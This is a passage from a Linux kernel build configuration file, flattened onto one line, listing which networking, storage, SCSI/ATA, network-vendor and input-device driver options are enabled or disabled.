CONFIG_VSOCKETS is not set CONFIG_NETLINK_MMAP=y # CONFIG_NETLINK_DIAG is not set CONFIG_MPLS=y # CONFIG_NET_MPLS_GSO is not set # CONFIG_MPLS_ROUTING is not set # CONFIG_HSR is not set CONFIG_NET_SWITCHDEV=y CONFIG_RPS=y CONFIG_RFS_ACCEL=y CONFIG_XPS=y CONFIG_CGROUP_NET_PRIO=y CONFIG_CGROUP_NET_CLASSID=y CONFIG_NET_RX_BUSY_POLL=y CONFIG_BQL=y CONFIG_BPF_JIT=y CONFIG_NET_FLOW_LIMIT=y # # Network testing # # CONFIG_NET_PKTGEN is not set # CONFIG_NET_TCPPROBE is not set CONFIG_NET_DROP_MONITOR=y CONFIG_HAMRADIO=y # # Packet Radio protocols # # CONFIG_AX25 is not set # CONFIG_CAN is not set # CONFIG_IRDA is not set # CONFIG_BT is not set # CONFIG_AF_RXRPC is not set CONFIG_FIB_RULES=y CONFIG_WIRELESS=y # CONFIG_CFG80211 is not set # CONFIG_LIB80211 is not set # # CFG80211 needs to be enabled for MAC80211 # CONFIG_MAC80211_STA_HASH_MAX_SIZE=0 # CONFIG_WIMAX is not set # CONFIG_RFKILL is not set # CONFIG_NET_9P is not set # CONFIG_CAIF is not set # CONFIG_CEPH_LIB is not set # CONFIG_NFC is not set CONFIG_HAVE_BPF_JIT=y # # Device Drivers # # # Generic Driver Options # # CONFIG_UEVENT_HELPER is not set CONFIG_DEVTMPFS=y CONFIG_DEVTMPFS_MOUNT=y CONFIG_STANDALONE=y CONFIG_PREVENT_FIRMWARE_BUILD=y CONFIG_FW_LOADER=y # CONFIG_FIRMWARE_IN_KERNEL is not set CONFIG_EXTRA_FIRMWARE="" CONFIG_FW_LOADER_USER_HELPER=y CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y CONFIG_ALLOW_DEV_COREDUMP=y # CONFIG_DEBUG_DRIVER is not set CONFIG_DEBUG_DEVRES=y CONFIG_SYS_HYPERVISOR=y # CONFIG_GENERIC_CPU_DEVICES is not set CONFIG_GENERIC_CPU_AUTOPROBE=y CONFIG_DMA_SHARED_BUFFER=y # CONFIG_FENCE_TRACE is not set CONFIG_DMA_CMA=y # # Default contiguous memory area size: # CONFIG_CMA_SIZE_MBYTES=600 CONFIG_CMA_SIZE_SEL_MBYTES=y # CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set # CONFIG_CMA_SIZE_SEL_MIN is not set # CONFIG_CMA_SIZE_SEL_MAX is not set CONFIG_CMA_ALIGNMENT=8 # # Bus devices # CONFIG_CONNECTOR=y CONFIG_PROC_EVENTS=y # CONFIG_MTD is not set # CONFIG_OF is not set CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y CONFIG_PARPORT=y CONFIG_PARPORT_PC=y # CONFIG_PARPORT_SERIAL is not set # CONFIG_PARPORT_PC_FIFO is not set # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_PC_PCMCIA is not set # CONFIG_PARPORT_GSC is not set # CONFIG_PARPORT_AX88796 is not set CONFIG_PARPORT_1284=y CONFIG_PNP=y # CONFIG_PNP_DEBUG_MESSAGES is not set # # Protocols # CONFIG_PNPACPI=y CONFIG_BLK_DEV=y # CONFIG_BLK_DEV_NULL_BLK is not set CONFIG_BLK_DEV_FD=y # CONFIG_PARIDE is not set # CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set # CONFIG_ZRAM is not set # CONFIG_BLK_CPQ_CISS_DA is not set # CONFIG_BLK_DEV_DAC960 is not set # CONFIG_BLK_DEV_UMEM is not set # CONFIG_BLK_DEV_COW_COMMON is not set # CONFIG_BLK_DEV_LOOP is not set # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_NVME is not set # CONFIG_BLK_DEV_SKD is not set # CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=1 CONFIG_BLK_DEV_RAM_SIZE=1048576 # CONFIG_CDROM_PKTCDVD is not set # CONFIG_ATA_OVER_ETH is not set # CONFIG_XEN_BLKDEV_FRONTEND is not set # CONFIG_XEN_BLKDEV_BACKEND is not set CONFIG_VIRTIO_BLK=y # CONFIG_BLK_DEV_HD is not set # CONFIG_BLK_DEV_RBD is not set # CONFIG_BLK_DEV_RSXX is not set # # Misc devices # # CONFIG_SENSORS_LIS3LV02D is not set # CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_SGI_IOC4 is not set # CONFIG_TIFM_CORE is not set # CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_SGI_XP is not set # CONFIG_HP_ILO is not set # CONFIG_SGI_GRU is not set # CONFIG_APDS9802ALS is not set # CONFIG_ISL29003 is not set # CONFIG_ISL29020 is not set # CONFIG_SENSORS_TSL2550 is not set # CONFIG_SENSORS_BH1780 is not set # CONFIG_SENSORS_BH1770 is not set # CONFIG_SENSORS_APDS990X is not set # CONFIG_HMC6352 is not set # CONFIG_DS1682 is not set # CONFIG_VMWARE_BALLOON is not set # CONFIG_BMP085_I2C is not set # CONFIG_USB_SWITCH_FSA9480 is not set # CONFIG_SRAM is not set # CONFIG_C2PORT is not set # # EEPROM support # # CONFIG_EEPROM_AT24 is not set # CONFIG_EEPROM_LEGACY is not set # CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set # CONFIG_CB710_CORE is not set # # Texas Instruments shared transport line discipline # # CONFIG_TI_ST is not set # CONFIG_SENSORS_LIS3_I2C is not set # # Altera FPGA firmware download module # # CONFIG_ALTERA_STAPL is not set # CONFIG_INTEL_MEI is not set # CONFIG_INTEL_MEI_ME is not set # CONFIG_INTEL_MEI_TXE is not set # CONFIG_VMWARE_VMCI is not set # # Intel MIC Bus Driver # # CONFIG_INTEL_MIC_BUS is not set # # SCIF Bus Driver # # CONFIG_SCIF_BUS is not set # # Intel MIC Host Driver # # # Intel MIC Card Driver # # # SCIF Driver # # CONFIG_GENWQE is not set # CONFIG_ECHO is not set # CONFIG_CXL_BASE is not set # CONFIG_CXL_KERNEL_API is not set CONFIG_HAVE_IDE=y # CONFIG_IDE is not set # # SCSI device support # CONFIG_SCSI_MOD=y # CONFIG_RAID_ATTRS is not set CONFIG_SCSI=y CONFIG_SCSI_DMA=y # CONFIG_SCSI_NETLINK is not set # CONFIG_SCSI_MQ_DEFAULT is not set CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=y # CONFIG_CHR_DEV_ST is not set # CONFIG_CHR_DEV_OSST is not set CONFIG_BLK_DEV_SR=y CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_CHR_DEV_SG=y # CONFIG_CHR_DEV_SCH is not set CONFIG_SCSI_CONSTANTS=y CONFIG_SCSI_LOGGING=y CONFIG_SCSI_SCAN_ASYNC=y # # SCSI Transports # # CONFIG_SCSI_SPI_ATTRS is not set # CONFIG_SCSI_FC_ATTRS is not set # CONFIG_SCSI_ISCSI_ATTRS is not set # CONFIG_SCSI_SAS_ATTRS is not set # CONFIG_SCSI_SAS_LIBSAS is not set # CONFIG_SCSI_SRP_ATTRS is not set CONFIG_SCSI_LOWLEVEL=y # CONFIG_ISCSI_TCP is not set # CONFIG_ISCSI_BOOT_SYSFS is not set # CONFIG_SCSI_CXGB3_ISCSI is not set # CONFIG_SCSI_CXGB4_ISCSI is not set # CONFIG_SCSI_BNX2_ISCSI is not set # CONFIG_BE2ISCSI is not set # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_HPSA is not set # CONFIG_SCSI_3W_9XXX is not set # CONFIG_SCSI_3W_SAS is not set # CONFIG_SCSI_ACARD is not set # CONFIG_SCSI_AACRAID is not set # CONFIG_SCSI_AIC7XXX is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_AIC94XX is not set # CONFIG_SCSI_MVSAS is not set # CONFIG_SCSI_MVUMI is not set # CONFIG_SCSI_DPT_I2O is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_ARCMSR is not set # CONFIG_SCSI_ESAS2R is not set CONFIG_MEGARAID_NEWGEN=y # CONFIG_MEGARAID_MM is not set # CONFIG_MEGARAID_LEGACY is not set # CONFIG_MEGARAID_SAS is not set # CONFIG_SCSI_MPT2SAS is not set # CONFIG_SCSI_MPT3SAS is not set # CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_VMWARE_PVSCSI is not set # CONFIG_XEN_SCSI_FRONTEND is not set # CONFIG_SCSI_SNIC is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_ISCI is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INITIO is not set # CONFIG_SCSI_INIA100 is not set # CONFIG_SCSI_PPA is not set # CONFIG_SCSI_IMM is not set # CONFIG_SCSI_STEX is not set # CONFIG_SCSI_SYM53C8XX_2 is not set # CONFIG_SCSI_IPR is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_QLA_ISCSI is not set # CONFIG_SCSI_DC395x is not set # CONFIG_SCSI_AM53C974 is not set # CONFIG_SCSI_WD719X is not set # CONFIG_SCSI_DEBUG is not set # CONFIG_SCSI_PMCRAID is not set # CONFIG_SCSI_PM8001 is not set # CONFIG_SCSI_VIRTIO is not set # CONFIG_SCSI_LOWLEVEL_PCMCIA is not set CONFIG_SCSI_DH=y # CONFIG_SCSI_DH_RDAC is not set # CONFIG_SCSI_DH_HP_SW is not set # CONFIG_SCSI_DH_EMC is not set # CONFIG_SCSI_DH_ALUA is not set # CONFIG_SCSI_OSD_INITIATOR is not set CONFIG_ATA=y # CONFIG_ATA_NONSTANDARD is not set CONFIG_ATA_VERBOSE_ERROR=y CONFIG_ATA_ACPI=y # CONFIG_SATA_ZPODD is not set CONFIG_SATA_PMP=y # # Controllers with non-SFF native interface # CONFIG_SATA_AHCI=y # CONFIG_SATA_AHCI_PLATFORM is not set # CONFIG_SATA_INIC162X is not set # CONFIG_SATA_ACARD_AHCI is not set # CONFIG_SATA_SIL24 is not set CONFIG_ATA_SFF=y # # SFF controllers with custom DMA interface # # CONFIG_PDC_ADMA is not set # CONFIG_SATA_QSTOR is not set # CONFIG_SATA_SX4 is not set CONFIG_ATA_BMDMA=y # # SATA SFF controllers with BMDMA # CONFIG_ATA_PIIX=y # CONFIG_SATA_MV is not set # CONFIG_SATA_NV is not set # CONFIG_SATA_PROMISE is not set # CONFIG_SATA_SIL is not set # CONFIG_SATA_SIS is not set # CONFIG_SATA_SVW is not set # CONFIG_SATA_ULI is not set # CONFIG_SATA_VIA is not set # CONFIG_SATA_VITESSE is not set # # PATA SFF controllers with BMDMA # # CONFIG_PATA_ALI is not set # CONFIG_PATA_AMD is not set # CONFIG_PATA_ARTOP is not set # CONFIG_PATA_ATIIXP is not set # CONFIG_PATA_ATP867X is not set # CONFIG_PATA_CMD64X is not set # CONFIG_PATA_CYPRESS is not set # CONFIG_PATA_EFAR is not set # CONFIG_PATA_HPT366 is not set # CONFIG_PATA_HPT37X is not set # CONFIG_PATA_HPT3X2N is not set # CONFIG_PATA_HPT3X3 is not set # CONFIG_PATA_IT8213 is not set # CONFIG_PATA_IT821X is not set # CONFIG_PATA_JMICRON is not set # CONFIG_PATA_MARVELL is not set # CONFIG_PATA_NETCELL is not set # CONFIG_PATA_NINJA32 is not set # CONFIG_PATA_NS87415 is not set # CONFIG_PATA_OLDPIIX is not set # CONFIG_PATA_OPTIDMA is not set # CONFIG_PATA_PDC2027X is not set # CONFIG_PATA_PDC_OLD is not set # CONFIG_PATA_RADISYS is not set # CONFIG_PATA_RDC is not set # CONFIG_PATA_SCH is not set # CONFIG_PATA_SERVERWORKS is not set # CONFIG_PATA_SIL680 is not set # CONFIG_PATA_SIS is not set # CONFIG_PATA_TOSHIBA is not set # CONFIG_PATA_TRIFLEX is not set # CONFIG_PATA_VIA is not set # CONFIG_PATA_WINBOND is not set # # PIO-only SFF controllers # # CONFIG_PATA_CMD640_PCI is not set # CONFIG_PATA_MPIIX is not set # CONFIG_PATA_NS87410 is not set # CONFIG_PATA_OPTI is not set # CONFIG_PATA_PCMCIA is not set # CONFIG_PATA_PLATFORM is not set # CONFIG_PATA_RZ1000 is not set # # Generic fallback / legacy drivers # CONFIG_PATA_ACPI=y CONFIG_ATA_GENERIC=y # CONFIG_PATA_LEGACY is not set CONFIG_MD=y CONFIG_BLK_DEV_MD=y CONFIG_MD_AUTODETECT=y # CONFIG_MD_LINEAR is not set # CONFIG_MD_RAID0 is not set # CONFIG_MD_RAID1 is not set # CONFIG_MD_RAID10 is not set # CONFIG_MD_RAID456 is not set # CONFIG_MD_MULTIPATH is not set # CONFIG_MD_FAULTY is not set # CONFIG_BCACHE is not set CONFIG_BLK_DEV_DM_BUILTIN=y CONFIG_BLK_DEV_DM=y # CONFIG_DM_MQ_DEFAULT is not set CONFIG_DM_DEBUG=y CONFIG_DM_BUFIO=y # CONFIG_DM_CRYPT is not set CONFIG_DM_SNAPSHOT=y # CONFIG_DM_THIN_PROVISIONING is not set # CONFIG_DM_CACHE is not set # CONFIG_DM_ERA is not set CONFIG_DM_MIRROR=y # CONFIG_DM_LOG_USERSPACE is not set # CONFIG_DM_RAID is not set CONFIG_DM_ZERO=y # CONFIG_DM_MULTIPATH is not set # CONFIG_DM_DELAY is not set CONFIG_DM_UEVENT=y # CONFIG_DM_FLAKEY is not set # CONFIG_DM_VERITY is not set # CONFIG_DM_SWITCH is not set # CONFIG_DM_LOG_WRITES is not set # CONFIG_TARGET_CORE is not set CONFIG_FUSION=y # CONFIG_FUSION_SPI is not set # CONFIG_FUSION_SAS is not set CONFIG_FUSION_MAX_SGE=40 CONFIG_FUSION_LOGGING=y # # IEEE 1394 (FireWire) support # # CONFIG_FIREWIRE is not set # CONFIG_FIREWIRE_NOSY is not set CONFIG_MACINTOSH_DRIVERS=y CONFIG_MAC_EMUMOUSEBTN=y CONFIG_NETDEVICES=y CONFIG_NET_CORE=y # CONFIG_BONDING is not set # CONFIG_DUMMY is not set # CONFIG_EQUALIZER is not set CONFIG_NET_FC=y # CONFIG_IFB is not set # CONFIG_NET_TEAM is not set # CONFIG_MACVLAN is not set # CONFIG_IPVLAN is not set # CONFIG_VXLAN is not set # CONFIG_NETCONSOLE is not set # CONFIG_NETPOLL is not set # CONFIG_NET_POLL_CONTROLLER is not set CONFIG_TUN=y # CONFIG_TUN_VNET_CROSS_LE is not set # CONFIG_VETH is not set CONFIG_VIRTIO_NET=y # CONFIG_NLMON is not set # CONFIG_ARCNET is not set # # CAIF transport drivers # # CONFIG_VHOST_NET is not set # CONFIG_VHOST_CROSS_ENDIAN_LEGACY is not set # # Distributed Switch Architecture drivers # # CONFIG_NET_DSA_MV88E6XXX is not set # CONFIG_NET_DSA_MV88E6XXX_NEED_PPU is not set CONFIG_ETHERNET=y CONFIG_NET_VENDOR_3COM=y # CONFIG_PCMCIA_3C574 is not set # CONFIG_PCMCIA_3C589 is not set # CONFIG_VORTEX is not set # CONFIG_TYPHOON is not set CONFIG_NET_VENDOR_ADAPTEC=y # CONFIG_ADAPTEC_STARFIRE is not set CONFIG_NET_VENDOR_AGERE=y # CONFIG_ET131X is not set CONFIG_NET_VENDOR_ALTEON=y # CONFIG_ACENIC is not set # CONFIG_ALTERA_TSE is not set CONFIG_NET_VENDOR_AMD=y # CONFIG_AMD8111_ETH is not set # CONFIG_PCNET32 is not set # CONFIG_PCMCIA_NMCLAN is not set CONFIG_NET_VENDOR_ARC=y CONFIG_NET_VENDOR_ATHEROS=y # CONFIG_ATL2 is not set # CONFIG_ATL1 is not set # CONFIG_ATL1E is not set # CONFIG_ATL1C is not set # CONFIG_ALX is not set CONFIG_NET_CADENCE=y # CONFIG_MACB is not set CONFIG_NET_VENDOR_BROADCOM=y # CONFIG_B44 is not set # CONFIG_BCMGENET is not set # CONFIG_BNX2 is not set # CONFIG_CNIC is not set # CONFIG_TIGON3 is not set # CONFIG_BNX2X is not set CONFIG_NET_VENDOR_BROCADE=y # CONFIG_BNA is not set CONFIG_NET_VENDOR_CAVIUM=y # CONFIG_THUNDER_NIC_PF is not set # CONFIG_THUNDER_NIC_VF is not set # CONFIG_THUNDER_NIC_BGX is not set # CONFIG_LIQUIDIO is not set CONFIG_NET_VENDOR_CHELSIO=y # CONFIG_CHELSIO_T1 is not set # CONFIG_CHELSIO_T3 is not set # CONFIG_CHELSIO_T4 is not set # CONFIG_CHELSIO_T4VF is not set CONFIG_NET_VENDOR_CISCO=y # CONFIG_ENIC is not set # CONFIG_CX_ECAT is not set # CONFIG_DNET is not set CONFIG_NET_VENDOR_DEC=y CONFIG_NET_TULIP=y # CONFIG_DE2104X is not set # CONFIG_TULIP is not set # CONFIG_DE4X5 is not set # CONFIG_WINBOND_840 is not set # CONFIG_DM9102 is not set # CONFIG_ULI526X is not set # CONFIG_PCMCIA_XIRCOM is not set CONFIG_NET_VENDOR_DLINK=y # CONFIG_DL2K is not set # CONFIG_SUNDANCE is not set CONFIG_NET_VENDOR_EMULEX=y # CONFIG_BE2NET is not set CONFIG_NET_VENDOR_EZCHIP=y CONFIG_NET_VENDOR_EXAR=y # CONFIG_S2IO is not set # CONFIG_VXGE is not set # CONFIG_NET_VENDOR_FUJITSU is not set # CONFIG_NET_VENDOR_HP is not set CONFIG_NET_VENDOR_INTEL=y # CONFIG_E100 is not set # CONFIG_E1000 is not set # CONFIG_E1000E is not set # CONFIG_IGB is not set # CONFIG_IGBVF is not set # CONFIG_IXGB is not set # CONFIG_IXGBE is not set # CONFIG_IXGBEVF is not set # CONFIG_I40E is not set # CONFIG_I40EVF is not set # CONFIG_FM10K is not set # CONFIG_NET_VENDOR_I825XX is not set # CONFIG_IP1000 is not set # CONFIG_JME is not set CONFIG_NET_VENDOR_MARVELL=y # CONFIG_MVMDIO is not set # CONFIG_SKGE is not set # CONFIG_SKY2 is not set CONFIG_NET_VENDOR_MELLANOX=y # CONFIG_MLX4_EN is not set # CONFIG_MLX4_CORE is not set # CONFIG_MLX5_CORE is not set CONFIG_NET_VENDOR_MICREL=y # CONFIG_KS8851_MLL is not set # CONFIG_KSZ884X_PCI is not set CONFIG_NET_VENDOR_MYRI=y # CONFIG_MYRI10GE is not set # CONFIG_FEALNX is not set CONFIG_NET_VENDOR_NATSEMI=y # CONFIG_NATSEMI is not set # CONFIG_NS83820 is not set CONFIG_NET_VENDOR_8390=y # CONFIG_PCMCIA_AXNET is not set # CONFIG_NE2K_PCI is not set # CONFIG_PCMCIA_PCNET is not set CONFIG_NET_VENDOR_NVIDIA=y # CONFIG_FORCEDETH is not set CONFIG_NET_VENDOR_OKI=y # CONFIG_ETHOC is not set CONFIG_NET_PACKET_ENGINE=y # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set CONFIG_NET_VENDOR_QLOGIC=y # CONFIG_QLA3XXX is not set # CONFIG_QLCNIC is not set # CONFIG_QLGE is not set # CONFIG_NETXEN_NIC is not set # CONFIG_NET_VENDOR_QUALCOMM is not set CONFIG_NET_VENDOR_REALTEK=y # CONFIG_ATP is not set # CONFIG_8139CP is not set # CONFIG_8139TOO is not set # CONFIG_R8169 is not set CONFIG_NET_VENDOR_RENESAS=y CONFIG_NET_VENDOR_RDC=y # CONFIG_R6040 is not set CONFIG_NET_VENDOR_ROCKER=y # CONFIG_ROCKER is not set # CONFIG_NET_VENDOR_SAMSUNG is not set # CONFIG_NET_VENDOR_SEEQ is not set CONFIG_NET_VENDOR_SILAN=y # CONFIG_SC92031 is not set CONFIG_NET_VENDOR_SIS=y # CONFIG_SIS900 is not set # CONFIG_SIS190 is not set # CONFIG_SFC is not set CONFIG_NET_VENDOR_SMSC=y # CONFIG_PCMCIA_SMC91C92 is not set # CONFIG_EPIC100 is not set # CONFIG_SMSC911X is not set # CONFIG_SMSC9420 is not set CONFIG_NET_VENDOR_STMICRO=y # CONFIG_STMMAC_ETH is not set CONFIG_NET_VENDOR_SUN=y # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set # CONFIG_CASSINI is not set # CONFIG_NIU is not set CONFIG_NET_VENDOR_TEHUTI=y # CONFIG_TEHUTI is not set CONFIG_NET_VENDOR_TI=y # CONFIG_TI_CPSW_ALE is not set # CONFIG_TLAN is not set CONFIG_NET_VENDOR_VIA=y # CONFIG_VIA_RHINE is not set # CONFIG_VIA_VELOCITY is not set CONFIG_NET_VENDOR_WIZNET=y # CONFIG_WIZNET_W5100 is not set # CONFIG_WIZNET_W5300 is not set CONFIG_NET_VENDOR_XIRCOM=y # CONFIG_PCMCIA_XIRC2PS is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_NET_SB1000 is not set CONFIG_PHYLIB=y # # MII PHY device drivers # # CONFIG_AT803X_PHY is not set # CONFIG_AMD_PHY is not set # CONFIG_MARVELL_PHY is not set # CONFIG_DAVICOM_PHY is not set # CONFIG_QSEMI_PHY is not set # CONFIG_LXT_PHY is not set # CONFIG_CICADA_PHY is not set # CONFIG_VITESSE_PHY is not set # CONFIG_SMSC_PHY is not set # CONFIG_BROADCOM_PHY is not set # CONFIG_BCM7XXX_PHY is not set # CONFIG_BCM87XX_PHY is not set # CONFIG_ICPLUS_PHY is not set # CONFIG_REALTEK_PHY is not set # CONFIG_NATIONAL_PHY is not set # CONFIG_STE10XP is not set # CONFIG_LSI_ET1011C_PHY is not set # CONFIG_MICREL_PHY is not set # CONFIG_DP83867_PHY is not set CONFIG_FIXED_PHY=y # CONFIG_MDIO_BITBANG is not set # CONFIG_MDIO_BCM_UNIMAC is not set # CONFIG_PLIP is not set # CONFIG_PPP is not set # CONFIG_SLIP is not set CONFIG_USB_NET_DRIVERS=y # CONFIG_USB_CATC is not set # CONFIG_USB_KAWETH is not set # CONFIG_USB_PEGASUS is not set # CONFIG_USB_RTL8150 is not set # CONFIG_USB_RTL8152 is not set # CONFIG_USB_USBNET is not set # CONFIG_USB_IPHETH is not set CONFIG_WLAN=y # CONFIG_PCMCIA_RAYCS is not set # CONFIG_PRISM54 is not set # CONFIG_HOSTAP is not set # CONFIG_WL_MEDIATEK is not set # CONFIG_WL_TI is not set # # Enable WiMAX (Networking options) to see the WiMAX drivers # # CONFIG_WAN is not set # CONFIG_XEN_NETDEV_FRONTEND is not set # CONFIG_XEN_NETDEV_BACKEND is not set # CONFIG_VMXNET3 is not set CONFIG_ISDN=y # CONFIG_ISDN_I4L is not set # CONFIG_ISDN_CAPI is not set # CONFIG_ISDN_DRV_GIGASET is not set # CONFIG_HYSDN is not set # CONFIG_MISDN is not set # # Input device support # CONFIG_INPUT=y CONFIG_INPUT_LEDS=y CONFIG_INPUT_FF_MEMLESS=y # CONFIG_INPUT_POLLDEV is not set # CONFIG_INPUT_SPARSEKMAP is not set # CONFIG_INPUT_MATRIXKMAP is not set # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y # CONFIG_INPUT_MOUSEDEV_PSAUX is not set CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 CONFIG_INPUT_JOYDEV=y CONFIG_INPUT_EVDEV=y # CONFIG_INPUT_EVBUG is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y # CONFIG_KEYBOARD_ADP5588 is not set # CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_QT1070 is not set # CONFIG_KEYBOARD_QT2160 is not set # CONFIG_KEYBOARD_LKKBD is not set # CONFIG_KEYBOARD_GPIO is not set # CONFIG_KEYBOARD_GPIO_POLLED is not set # CONFIG_KEYBOARD_TCA6416 is not set # CONFIG_KEYBOARD_TCA8418 is not set # CONFIG_KEYBOARD_MATRIX is not set # CONFIG_KEYBOARD_LM8323 is not set # CONFIG_KEYBOARD_LM8333 is not set # CONFIG_KEYBOARD_MAX7359 is not set # CONFIG_KEYBOARD_MCS is not set # CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=y CONFIG_MOUSE_PS2_ALPS=y CONFIG_MOUSE_PS2_LOGIPS2PP=y CONFIG_MOUSE_PS2_SYNAPTICS=y CONFIG_MOUSE_PS2_CYPRESS=y CONFIG_MOUSE_PS2_LIFEBOOK=y CONFIG_MOUSE_PS2_TRACKPOINT=y CONFIG_MOUSE_PS2_ELANTECH=y CONFIG_MOUSE_PS2_SENTELIC=y # CONFIG_MOUSE_PS2_TOUCHKIT is not set CONFIG_MOUSE_PS2_FOCALTECH=y CONFIG_MOUSE_PS2_VMMOUSE=y # CONFIG_MOUSE_SERIAL is not set # CONFIG_MOUSE_APPLETOUCH is not set # CONFIG_MOUSE_BCM5974 is not set # CONFIG_MOUSE_CYAPA is not set # CONFIG_MOUSE_ELAN_I2C is not set # CONFIG_MOUSE_VSXXXAA is not set # CONFIG_MOUSE_GPIO is not set # CONFIG_MOUSE_SYNAPTICS_I2C is not set # CONFIG_MOUSE_SYNAPTICS_USB is not set CONFIG_INPUT_JOYSTICK=y # CONFIG_JOYSTICK_ANALOG is not set # CONFIG_JOYSTICK_A3D is not set # CONFIG_JOYSTICK_ADI is not set # CONFIG_JOYSTICK_COBRA is not set # CONFIG_JOYSTICK_GF2K is not set # CONFIG_JOYSTICK_GRIP is not set # CONFIG_JOYSTICK_GRIP_MP is not set # CONFIG_JOYSTICK_GUILLEMOT is not set # CONFIG_JOYSTICK_INTERACT is not set # CONFIG_JOYSTICK_SIDEWINDER is not set # CONFIG_JOYSTICK_TMDC is not set # CONFIG_JOYSTICK_IFORCE is not set # CONFIG_JOYSTICK_WARRIOR is not set # CONFIG_JOYSTICK_MAGELLAN is not set # CONFIG_JOYSTICK_SPACEORB is not set # CONFIG_JOYSTICK_SPACEBALL is not set # CONFIG_JOYSTICK_STINGER is not set # CONFIG_JOYSTICK_TWIDJOY is not set # CONFIG_JOYSTICK_ZHENHUA is not set # CONFIG_JOYSTICK_DB9 is not set # CONFIG_JOYSTICK_GAMECON is not set # CONFIG_JOYSTICK_TURBOGRAFX is not set # CONFIG_JOYSTICK_AS5011 is not set # CONFIG_JOYSTICK_JOYDUMP is not set # CONFIG_JOYSTICK_XPAD is not set # CONFIG_JOYSTICK_WALKERA0701 is not set CONFIG_INPUT_TABLET=y # CONFIG_TABLET_USB_ACECAD is not set # CONFIG_TABLET_USB_AIPTEK is not set # CONFIG_TABLET_USB_GTCO is not set # CONFIG_TABLET_USB_HANWANG is not set # CONFIG_TABLET_USB_KBTAB is not set # CONFIG_TABLET_SERIAL_WACOM4 is not set CONFIG_INPUT_TOUCHSCREEN=y # CONFIG_TOUCHSCREEN_AD7879 is not set # CONFIG_TOUCHSCREEN_ATMEL_MXT is not set # CONFIG_TOUCHSCREEN_AUO_PIXCIR is not set # CONFIG_TOUCHSCREEN_BU21013 is not set # CONFIG_TOUCHSCREEN_CY8CTMG110 is not set # CONFIG_TOUCHSCREEN_CYTTSP_CORE is not set # CONFIG_TOUCHSCREEN_CYTTSP4_CORE is not set # CONFIG_TOUCHSCREEN_DYNAPRO is not set # CONFIG_TOUCHSCREEN_HAMPSHIRE is not set # CONFIG_TOUCHSCREEN_EETI is not set # CONFIG_TOUCHSCREEN_FUJITSU is not set # CONFIG_TOUCHSCREEN_GOODIX is not set # CONFIG_TOUCHSCREEN_ILI210X is not set # CONFIG_TOUCHSCREEN_GUNZE is not set # CONFIG_TOUCHSCREEN_ELAN is not set # CONFIG_TOUCHSCREEN_ELO is not set # CONFIG_TOUCHSCREEN_WACOM_W8001 is not set # CONFIG_TOUCHSCREEN_WACOM_I2C is not set # CONFIG_TOUCHSCREEN_MAX11801 is not set # CONFIG_TOUCHSCREEN_MCS5000 is not set # CONFIG_TOUCHSCREEN_MMS114 is not set # CONFIG_TOUCHSCREEN_MTOUCH is not set # CONFIG_TOUCHSCREEN_INEXIO is not set # CONFIG_TOUCHSCREEN_MK712 is not set # CONFIG_TOUCHSCREEN_PENMOUNT is not set # CONFIG_TOUCHSCREEN_EDT_FT5X06 is not set # CONFIG_TOUCHSCREEN_TOUCHRIGHT is not set # CONFIG_TOUCHSCREEN_TOUCHWIN is not set # CONFIG_TOUCHSCREEN_PIXCIR is not set # CONFIG_TOUCHSCREEN_WDT87XX_I2C is not set # CONFIG_TOUCHSCREEN_USB_COMPOSITE is not set # CONFIG_TOUCHSCREEN_TOUCHIT213 is not set # CONFIG_TOUCHSCREEN_TSC_SERIO is not set # CONFIG_TOUCHSCREEN_TSC2007 is not set # CONFIG_TOUCHSCREEN_ST1232 is not set # CONFIG_TOUCHSCREEN_SX8654 is not set # CONFIG_TOUCHSCREEN_TPS6507X is not set # CONFIG_TOUCHSCREEN_ZFORCE is not set CONFIG_INPUT_MISC=y # CONFIG_INPUT_AD714X is not set # CONFIG_INPUT_BMA150 is not set # CONFIG_INPUT_E3X0_BUTTON is not set CONFIG_INPUT_PCSPKR=y # CONFIG_INPUT_MMA8450 is not set # CONFIG_INPUT_MPU3050 is not set # CONFIG_INPUT_APANEL is not set # CONFIG_INPUT_GP2A is not set # 